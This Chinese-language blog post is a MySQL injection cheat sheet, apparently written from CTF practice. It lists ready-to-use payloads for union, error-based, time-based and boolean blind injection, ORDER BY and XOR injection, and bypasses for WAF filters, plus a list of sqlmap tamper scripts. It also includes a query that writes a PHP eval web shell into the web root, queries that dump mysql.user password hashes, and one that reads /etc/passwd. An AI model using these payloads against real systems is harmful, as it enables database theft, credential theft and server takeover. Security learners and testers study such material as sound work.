目录
  1. 1. 常见注入姿势
    1. 1.1. UNION注入
    2. 1.2. 报错注入
    3. 1.3. 时间盲注
    4. 1.4. 布尔盲注
  2. 2. 其他注入姿势
    1. 2.1. update、insert、delete注入
    2. 2.2. pow溢出报错
    3. 2.3. XOR注入
    4. 2.4. regexp注入
    5. 2.5. Order by 注入
    6. 2.6. DNSlog SQL盲注
    7. 2.7. Mysql约束攻击
  3. 3. Bypass小结
    1. 3.1. 过滤空格
    2. 3.2. 过滤逗号
    3. 3.3. 过滤比较符号
    4. 3.4. 过滤了if
    5. 3.5. 绕过未知字段名的技巧
      1. 3.5.1. innodb
      2. 3.5.2. sys
      3. 3.5.3. 无列名注入
    6. 3.6. PDO下的SQL注入
  4. 4. Sqlmap tamper
Mysql 注入备忘录

常见注入姿势

一些基本信息

MySQL版本 version()

当前用户名 user()

数据库名 database()

数据库路径 @@datadir

操作系统版本 @@version_compile_os

安装 MySQL 的安装路径 @@basedir

所有用户:

select group_concat(user) from mysql.user

用户hash:

select group_concat(password) from mysql.user where user='root'

所有数据库:

SELECT group_concat(schema_name) from information_schema.schemata

表名:

SELECT group_concat(table_name) from information_schema.tables where table_schema='库名'
//表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出来
SELECT group_concat(table_name) from information_schema.table_constraints where table_schema='库名'

字段名:

SELECT group_concat(column_name) from information_schema.columns where table_name='表名'

读文件:

SELECT load_file('/etc/passwd')

写文件:

SELECT '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'

sql中的 IF 条件语句的用法

if( expr1 , expr2 , expr3 )

expr1 的值为 TRUE,则返回值为 expr2
expr1 的值为 FALSE,则返回值为 expr3

UNION注入

注意:Mysql要大于5.0

找到注入点后获取字段数

order by num

查看哪些地方有字段的回显

id=-1 UNION SELECT 1,2...,n

获取系统数据库名

select null,null,schema_name from information_schema.schemata

直接获取当前数据库名

select null,null,...,database()

获取数据库中的表

select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()

获取表中的字段

select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and tadble_name='<你取得的表名>'

获取各个字段值

select null,group_concat(<获取到的字段1>,<获取到的字段2>) from <当前表名>

报错注入

若有报错信息则选择报错注入

UpdateXml(有长度限制,最长32位)

id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

如果concat被过滤了,可以使用MAKE_SET函数


ExtractValue(有长度限制,最长32位)

id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))

如果concat被过滤了,可以使用MAKE_SET函数


exp(5.5.5以上)

普通查询
select exp(~(select*from(select user())x));

得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

检索数据:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

mysql>5.5.53时,则不能返回查询结果


floor(需要三个函数支持)

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

count(*)、rand()、group by三者缺一不可

floor完整的注入流程


其余报错

GeometryCollection()

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()

id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()

id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()

id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()

id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()

id =1 AND multipolygon((select * from(select * from(select user())a)b))

时间盲注

sql中的 IF 条件语句的用法

if( expr1 , expr2 , expr3 )

expr1 的值为 TRUE,则返回值为 expr2
expr1 的值为 FALSE,则返回值为 expr3

sleep

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23

if判断语句,条件为假,执行sleep

mysql> select sleep(5);


+----------+
| sleep(5) |
+----------+
| 0 |
+----------+
1 row in set (5.00 sec)

BENCHMARK

BENCHMARK(count,expr)

在运行过程中占用大量的cpu资源

mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.79 sec)

笛卡尔积

' and if(ascii(substr((select database()),%d,1))<%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.tables C),1)#

查询数据量极大的表造成延时。

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+------------+
| count(*) |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)

GET_LOCK
GET_LOCK时间盲注攻击探索
利用限制

利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。

需要开两个session测试。

SESSION A

mysql> select get_lock('test',1);
+--------------------+
| get_lock('test',1) |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)

SESSION B

mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
| 0 |
+--------------------+
1 row in set (5.00 sec)

RLIKE

通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)

不正确正则

select if(substr((select 1)='1',1,1),concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

以上代码等同于 sleep(5)

布尔盲注

left(user(),1)>'r'  
right(user(),1)>'r'
substr(user(),1,1)='r'
mid(user(),1,1)='r'
greatest("sed",database())= "sed" //返回最大值再与字符串比较
select least("sea",database())="sea"; //返回最小值再与字符串比较

//不使用逗号
user() regexp '^[a-z]'
user() like 'root%' //注意_/%通配符,建议写脚本的时候时候写到字符集最后面
POSITION('root' in user())
mid(user() from 1 for 1)='r'
mid(user() from 1)='r'
substr(user() from 1 for 1)='r'
substr(user() from 1)='r'


ASCII()、ORD()和CHAR()函数一般用做辅助。

其他注入姿势

update、insert、delete注入

MySQL下Update、Insert注入方法


pow溢出报错

pow(x,y)表示计算x的y次方,当计算值过大时,会发生DOUBLE溢出,数据库报错

select 1 and if(1=1,1,pow(2,2222222222222222222))

过滤了延时语句,正常页面与错误页面没有区别,当sql语句出错时会返回自定义的错误页面。


XOR注入

admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23
或者
admin'^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23

过滤了关键字:and、or
过滤了逗号,
过滤了空格


regexp注入

select (select语句) regexp '正则'

过滤了=、in、like


Order by 注入

ORDER BY {col_name | expr | position}, order by 后面可以跟字段名,表达式和字段的位置,字段的位置需要是整数型。

常规的payload贴上 Smile 师傅 Blog 里归纳的

/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
/?order=IFNULL(NULL,price) 通过price字段排序
/?order=IFNULL(NULL,name) 通过name字段排序
/?order=rand(1=1)
/?order=rand(1=2)
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误

利用regexp
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误

利用updatexml
/?order=updatexml(1,if(1=1,1,user()),1) 正确
/?order=updatexml(1,if(1=2,1,user()),1) 错误

利用extractvalue
/?order=extractvalue(1,if(1=1,1,user())) 正确
/?order=extractvalue(1,if(1=2,1,user())) 错误

sleep
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2

数据猜解
通过下可以得知user()第一位为r,ascii码的16进制为0x72
/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误

猜解当前数据库的表名:
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+
table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+
table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误

猜解指定表名中的列名:
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns
+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns
+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误

其他的
提一下之前 @Threezh1 出的题目 ORDER BY 注入

DNSlog SQL盲注

先知文章 浅谈DNSlog SQL盲注

Mysql约束攻击

在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)
在mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断

mysql>  create table user(id int primary key,user varchar(10),pwd varchar(20));
Query OK, 0 rows affected (0.38 sec)

mysql> insert into user value(1,'admin','123');
Query OK, 1 row affected (0.00 sec)

mysql> insert into user value(2,'admin ','456');
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from user;
+----+------------+------+
| id | user | pwd |
+----+------------+------+
| 2 | admin | 456 |
| 1 | admin | 123 |
+----+------------+------+
2 rows in set (0.00 sec)

mysql> select length(user) from user;
+--------------+
| length(user) |
+--------------+
| 10 |
| 5 |
+--------------+
2 rows in set (0.00 sec)
长度是不一样的,但是在受影响的版本中,id=2useradmin 在前端登录处登录并且在后端验证中,admin
是等同id=1useradmin的.

Bypass小结

过滤空格

两个空格代替一个空格,用Tab代替空格,注释代替空格

%20 %09 %0a %0b %0c %0d %a0 %00 
/**/ /*!*/

括号绕过空格

id=1'and(sleep(ascii(substr(database(),1,1))=109)) #

空格被过滤,括号没有被过滤,可以用括号绕过

过滤逗号

盲注(substr(),mid(),limit)

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

//对于limit可以使用offset来绕过
limit 0,1 等价于 limit 1 offset 0

直接替换为like注入

select user() like 'ro%'

注意通配符 %


union + join注入

union select 1,2     
#等价于
union select * from (select 1)a join (select 2)b

过滤比较符号

过滤了等号

原代码:select * from users where id =1

regexp: select * from users where id REGEXP '^1$'

!<>: select * from users where !(id<>1)

in: select 'user' in ('user'); 字符串都是可以用16进制代替的.

用函数绕过: strcmp(),locate(s1,s) , position(s1 in s) , instr(s,s1), greatest()

过滤了大于小于

greatest(a,b),返回a和b中较大的那个数。
select * from users where id=1 and ord(mid(database(),0,1))>1
等价
select * from users where id=1 and greatest(ord(mid(database(),0,1)),123)=123

过滤了if

case…when…then…else来代替

select * from users where id=1 and if(1=1,sleep(5),0)

等价于:

select * from users where id=1 and case when 1=1 then sleep(5) else 0 end

绕过未知字段名的技巧

waf拦截了information_schema、columns、tables、database、schema等关键字或函数

innodb

MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了innodb_table_statsinnodb_index_stats这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。

如果waf掉了information我们可以利用这两个表注入数据库名和表名。
限制:不能查询到字段名

select * from mysql.innodb_table_stats;

select * from mysql.innodb_index_stats;

sys

MySQL 5.7版中,新加入了sys schema,里面整合了各种资料库资讯
schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。

sqli-labs为例子

# schema_auto_increment_columns
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+



# schema_table_statistics_with_buffer
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

可以获取数据库中 表名 信息 , 后续获取数据两个思路

  1. join
  2. join using(xx)

无列名注入

mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
..............

mysql> select `3` from (select 1,2,3 union select * from users)a limit 1,1;
+------+
| 3 |
+------+
| Dumb |
+------+
1 row in set (0.00 sec)

mysql> select `1`,`2`,`3` from (select 1,2,3 union select * from users)a limit 2,1;
+---+----------+------------+
| 1 | 2 | 3 |
+---+----------+------------+
| 2 | Angelina | I-kill-you |
+---+----------+------------+
1 row in set (0.00 sec)

当 ` 不能使用的时候,使用别名来代替:

select b from (select 1,2,3 as b,4,5 union select * from users)a;
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c union select * from users;
+----+----------+------------+
| 1 | 2 | 3 |
+----+----------+------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
+----+----------+------------+
4 rows in set (0.00 sec)

mysql> select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e;
+------------+
| 3 |
+------------+
| 3 |
| Dumb |
| I-kill-you |
| p@ssword |
+------------+
4 rows in set (0.00 sec)

mysql> select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e limit 1 offset 3;
+----------+
| 3 |
+----------+
| p@ssword |
+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 union select (select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e limit 1 offset 3)f,(select 1)g,(select 1)h;
+----------+----------+----------+
| id | username | password |
+----------+----------+----------+
| 1 | Dumb | Dumb |
| p@ssword | 1 | 1 |
+----------+----------+----------+
2 rows in set (0.00 sec)

PDO下的SQL注入

原文链接: https://xz.aliyun.com/t/3950

PHP连接MySQL数据库有三种方式(MySQL、Mysqli、PDO),同时官方对三者也做了列表性比较:

Mysqli PDO MySQL
引入的PHP版本 5.0 5.0 3.0之前
PHP5.x是否包含
服务端prepare语句的支持情况
客户端prepare语句的支持情况
存储过程支持情况
多语句执行支持情况 大多数

PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入

Sqlmap tamper

apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

参考文章
Smile-Sql注入笔记
K0rz3n-CTF中注入常见技巧的汇总
SQL注入备忘录
MySQL时间盲注五种延时方法 (PWNHUB 非预期解)
mysql 延时注入新思路
PDO场景下的SQL注入探究

文章作者: P2hm1n
文章链接: http://yoursite.com/2019/12/07/Mysql注入小结/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论